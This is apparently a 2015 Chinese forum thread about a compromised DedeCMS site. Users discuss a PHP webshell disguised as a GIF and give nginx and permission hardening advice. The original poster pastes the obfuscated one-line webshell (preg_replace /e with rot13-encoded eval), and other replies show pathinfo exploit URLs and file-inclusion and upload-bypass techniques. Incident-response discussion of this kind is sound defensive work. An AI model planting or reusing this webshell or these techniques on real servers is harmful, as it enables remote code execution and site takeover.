1
zur13l 2015-10-18 14:47:22 +08:00
|
6
lostsnow 2015-10-18 15:08:42 +08:00
应该是之前 pathinfo 的漏洞吧, 禁用 pathinfo 吧
|
8
ab OP @lostsnow 这应该是禁用的吧?
location ~ [^/]\.php(/|$) { # comment try_files $uri =404; to enable pathinfo try_files $uri =404; fastcgi_pass unix:/tmp/php-cgi.sock; fastcgi_index index.php; include fastcgi.conf; #include pathinfo.conf; } |
9
lostsnow 2015-10-18 15:14:57 +08:00
|
12
ab OP @kn007
<?php require_once (dirname(__FILE__) . "/../../templets/3vpk/images/mood/ico-mood-16.gif"); ?> ico-mood-16.gif 修改为 PHP 以后是这样的: <?php ($tagdilst = $_POST['good']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($tagdilst)', 'add'); ?> |
13
kongkongyzt 2015-10-18 16:02:24 +08:00
有没有人能解释一下,为什么.gif 文件会被 php 执行呀?
|
14
xfspace 2015-10-18 16:17:51 +08:00
@kongkongyzt include/require 某个文件,如果文件有<?php ?>就当成 PHP 来执行了
|
15
fengyqf 2015-10-18 16:20:49 +08:00 1
@ab
这行代码是哪个文件里的: <?php require_once (dirname(__FILE__) . "/../../templets/3vpk/images/mood/ico-mood-16.gif"); ?> .gif 文件本身没有被执行,而是引入该 gif 的文件被 php 执行。 你禁止 templets 目录不会有任何作用。 建议按这样两个原则: 1 有 php 执行权限的目录,不允许 web 账号( php-fcgi 进程)的写入权限 2 有 web 账户有写入权限的目录(如模板目录,附件上传目录),不允许 php 执行权限。 |
16
zur13l 2015-10-18 16:33:30 +08:00
@ab 你只是看到里面有 PHP 代码,还是直接访问这个 gif 会被当成 php 执行
17 楼的 require_once 是哪个文件里面的 |
17
jamiesun 2015-10-18 16:35:16 +08:00
<?php require_once (dirname(__FILE__) . "/../../templets/3vpk/images/mood/ico-mood-16.gif"); ?>
这里只是用了读取权限 |
18
tntsec 2015-10-18 17:08:31 +08:00
http://www.tntsec.com/439.html
从入侵谈防御之“黑不掉”的网站,论网站攻防,公测版 |
20
kn007 2015-10-18 17:20:45 +08:00
@ab 如果 ico-mood-16.gif 是本来就会有的文件,那么限制修改权限,不归所有。如果 ico-mood-16.gif 本来就是不能有的。那么查出他为什么会被上传。如果其所在目录是不需更改的,限定它。
|
21
kn007 2015-10-18 17:23:34 +08:00
@ab 能去 include/require 的,肯定具有 php 执行权限了,他把本来没有权限的文件读到其附属内存里,继续读,不就可以执行了。。所以问题不是出在,你那没有权限的文件。而是你为何当前 php 文件要去包含该文件,如果确信这是必须包含的(我反正没听说会在 php 里 include/require 一个图片文件),那么就要处理图片所在目录的实际权限了。
|
24
lostsnow 2015-10-18 17:51:51 +08:00
include/require 里只要有<?php ?> 都会被执行的
|
25
lshero 2015-10-18 17:58:13 +08:00 via Android
上传的目录别给执行权限呗
|
26
lecher 2015-10-18 18:14:43 +08:00
location ~ \.php {
fastcgi_index index.php; #安全检查 if ($request_filename ~* (.*)\.php) { set $phpFile $1; } if (!-e $phpFile.php) { return 403; } fastcgi_pass 127.0.0.1:9000; fastcgi_split_path_info ^(.+\.php)(.*)$; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; fastcgi_param PATH_INFO $fastcgi_path_info; include fastcgi_params; } 我们项目的坑里是这么解决这个漏洞的。 在 php 的执行检查里面加上类型检查。 #安全检查 if ($request_filename ~* (.*)\.php) { set $phpFile $1; } if (!-e $phpFile.php) { return 403; } 这样可以保证非 php 文件不会被执行。 |
27
stanhou 2015-10-18 18:46:03 +08:00
@ab 你这段代码是哪里的?
``` <?php require_once (dirname(__FILE__) . "/../../templets/3vpk/images/mood/ico-mood-16.gif"); ?> ``` 及时 gif 就是图片, php 为什么要去 require 一个图片文件? 如果是为了输出文件同时保护文件路径,那就改成读取内容然后输出。直接 reqire 简直开玩笑啊。 |
28
kongkongyzt 2015-10-18 19:25:39 +08:00
@ab 我的疑惑和大家是一样的....既然能上传一个 require 了 gif 的 php 文件,那何必再上传 gif 呢,直接利用上传的 PHP 不就可以了.....除非这个是预先就留下的后门
|
29
iyaozhen 2015-10-18 19:31:56 +08:00
看来那个能 require xxx.gif 的是后门吧。然后通过正规渠道上传 gif 来入侵。
|
30
lecher 2015-10-18 19:42:01 +08:00 via Android
还是有人没有仔细看 lostsnow 给的链接啊。
那个链接把原理说得挺清楚了,在默认配置下,可以让 PHP 解释器执行后缀为图片类型或者其它任意类型的文件。 所以攻击原理就是把 PHP 攻击代码以图片文件的形式传到服务器上面再构造执行请求,就可以执行任意 PHP 代码。能执行代码的情况下,再生成什么文件都很正常。 所以只要有上传图片的接口可以用,很可能是通过图片执行漏洞去创建的 PHP 文件。 |
31
free9fw 2015-10-18 20:37:03 +08:00
在图片那个目录禁止执行 php 即可
|
32
jarlyyn 2015-10-18 21:02:50 +08:00
当年 所谓 lnmp 的安全漏洞么?
|
33
POP 2015-10-18 21:15:25 +08:00
文件包含吧
|
34
Felldeadbird 2015-10-18 22:12:09 +08:00
纯图片的话,应该是图片木马。
可看到楼主说又 require ,这个就不是单纯的图片木马了。应该是从其他方面入侵的。 require 函数不一定加载 PHP 后缀文件的。楼上已经有人说了 |
35
ksupertu 2015-10-19 02:54:51 +08:00 via Android
上安全狗 nginx 版
|
36
ksupertu 2015-10-19 02:58:36 +08:00 via Android
常规入侵的时候由于代码限制只能上传图片的话,就可以用 php 代码以 gif 等 jpg 类型上传,稍微高级点可以使用 burpsuite 截断攻击,上传的时候是图片文件,截断后改为 jsp php 等等可执行脚本,这个是很老的一个技术了;所以你还是上一个网马防护软件吧
|
37
M4ster 2015-10-19 08:26:33 +08:00
单纯的 deny 是治标不治本。找到程序的漏洞出在哪里,才能真正解决此问题。
|
38
qunxyz 2015-10-19 08:47:03 +08:00
查 log ,找出漏洞利用的地方,想办法修复。其他方法扯淡
|
39
ab OP 谢谢大家
|
40
hack 2015-10-19 09:00:38 +08:00
好典型的 LFI
|
41
looyao 2015-10-19 09:04:29 +08:00
加个 try_files ,访问不存在的直接返回 404 。类似这种 1.jpg/1.php 尝试, 1.jpg 就不会被解析了。
location ~ \.php$ { try_files $uri = 404; fastcgi_pass 127.0.0.1:9000; ... } |
42
tabris17 2015-10-19 09:08:00 +08:00
通过 pathinfo 执行的,是 nginx 配置的问题。
比如一个包含 php 代码的 gif : http://target/test.gif 通过类似: http://target/test.gif/not_exists.php 来执行 |
43
abscon 2015-10-19 09:39:38 +08:00
|
44
popok 2015-10-19 09:53:26 +08:00
这种是文件包含执行的木马隐藏方式,你禁用 gif 的执行没有用,因为调用 gif 的是 php 文件
|
45
erevus 2015-10-19 10:02:02 +08:00
这都是用包含了
|
47
realpg 2015-10-19 11:36:50 +08:00
楼主试试
http://www.yoursite.com/yourpath/file.gif?file.php http://www.yoursite.com/yourpath/file.gif/file.php 这两个哪个能执行 如果这两个都不能执行,那十有八九只是人家在测试攻击并失败而已。 |
48
Ryans 2015-10-19 11:51:44 +08:00
表示关注
|
49
lijinma 2015-10-19 11:52:06 +08:00
location ~ ^[^.]+\.php(/|$) {
... fastcgi_split_path_info ^(.+?\.php)(.*)$; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; fastcgi_param PATH_INFO $fastcgi_path_info; ... } 使用 fastcgi_split_path_info 也可以解决上面的问题,保证 SCRIPT_FILENAME 是一个 PHP |
50
shuimugan 2015-10-19 13:56:15 +08:00
1.gif 的内容是典型的一句话木马,利用 preg_replace 函数中第一个参数后面的 /e,来把替换后的字符串当代码执行,str_rot13('riny')就是 eval 了,密码就是 good,利用经典的中国菜刀就可以连接上了.
http://php.net/manual/zh/function.preg-replace.php http://php.net/manual/zh/reference.pcre.pattern.modifiers.php 2.<?php require_once (dirname(__FILE__) . "/../../templets/3vpk/images/mood/ico-mood-16.gif"); ?> 这句肯定是黑客加上去的,require 和 include 文件,会执行 gif 里面的 php 代码 http://php.net/manual/zh/function.include.php 当一个文件被包含时,语法解析器在目标文件的开头脱离 PHP 模式并进入 HTML 模式,到文件结尾处恢复。由于此原因,目标文件中需要作为 PHP 代码执行的任何代码都必须被包括在有效的 PHP 起始和结束标记之中 3.这个 gif 是利用 dedecms 上传上去的,例如简单图片上传功能,把 php 文件改个扩展名成 gif,然后上传模块中只是简单的检查下扩展名,而不试着获取下图片宽高来判断是真的图片,导致上传成功 4.dedecms 代码不严谨,有任意包含文件漏洞 比如 $file = $_GET['file']; include $file; 只需要填写 gif 被上传后的路径,即可导致 gif 文件内容被解析成 php 代码执行. 至于网站的路径有多种方法探测,例如报错信息 你现在设置规则我觉得已经来不及了,上周我就和同事配合搞了像这样的应急响应,phpcms 的任意文件包含漏洞,被上传了一大堆马,抓了好几天,在 nginx 的日志中记录 post 内容,去分析了 n 个 php 文件,才清完 |
51
p1n3 2015-10-19 15:22:17 +08:00 via iPhone
楼楼把 nginx 日志丟上来吧。。
|
52
realpg 2015-10-19 16:03:25 +08:00 1
忘了说一个问题。上传文件被包含执行的话,直接把上传的 base 目录放到 open_basedir 之外,放到独立的 vhost 最好
|
53
domino 2015-10-20 02:48:03 +08:00
感觉是利用解析上传漏洞,上传 webshell , 然后写入一句话小马 gif
透过 require 运行 , 用 gif 方便让后门隐藏,也许是让 webshell scaner 忽略, 或目录中多个 php 来的容易察觉. deny 目录不治本,因为还是可跨目录上传文件 |
54
liyvhg 2015-10-20 16:01:00 +08:00
php 文件包含, 没有什么好的防御办法, 楼主上权限白名单吧 XD:
|